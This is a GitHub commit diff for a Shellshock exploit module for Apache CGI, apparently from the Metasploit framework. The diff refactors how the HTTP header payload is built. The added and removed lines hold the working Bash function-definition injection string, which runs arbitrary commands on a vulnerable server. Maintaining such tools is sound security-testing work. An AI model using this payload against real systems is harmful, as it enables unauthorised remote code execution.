Skip to content

Commit de65ab0

Browse files
committed
Fix broken check in exploit module
See 71d6b37.
1 parent 12d7073 commit de65ab0

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,11 +121,15 @@ def req(cmd)
121121
'method' => datastore['METHOD'],
122122
'uri' => normalize_uri(target_uri.path.to_s),
123123
'headers' => {
124-
datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
124+
datastore['HEADER'] => sploit(cmd)
125125
}
126126
}, datastore['TIMEOUT'])
127127
end
128128

129+
def sploit(cmd)
130+
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
131+
end
132+
129133
def marker
130134
@marker ||= rand_text_alphanumeric(rand(42) + 1)
131135
end

0 commit comments

Comments
 (0)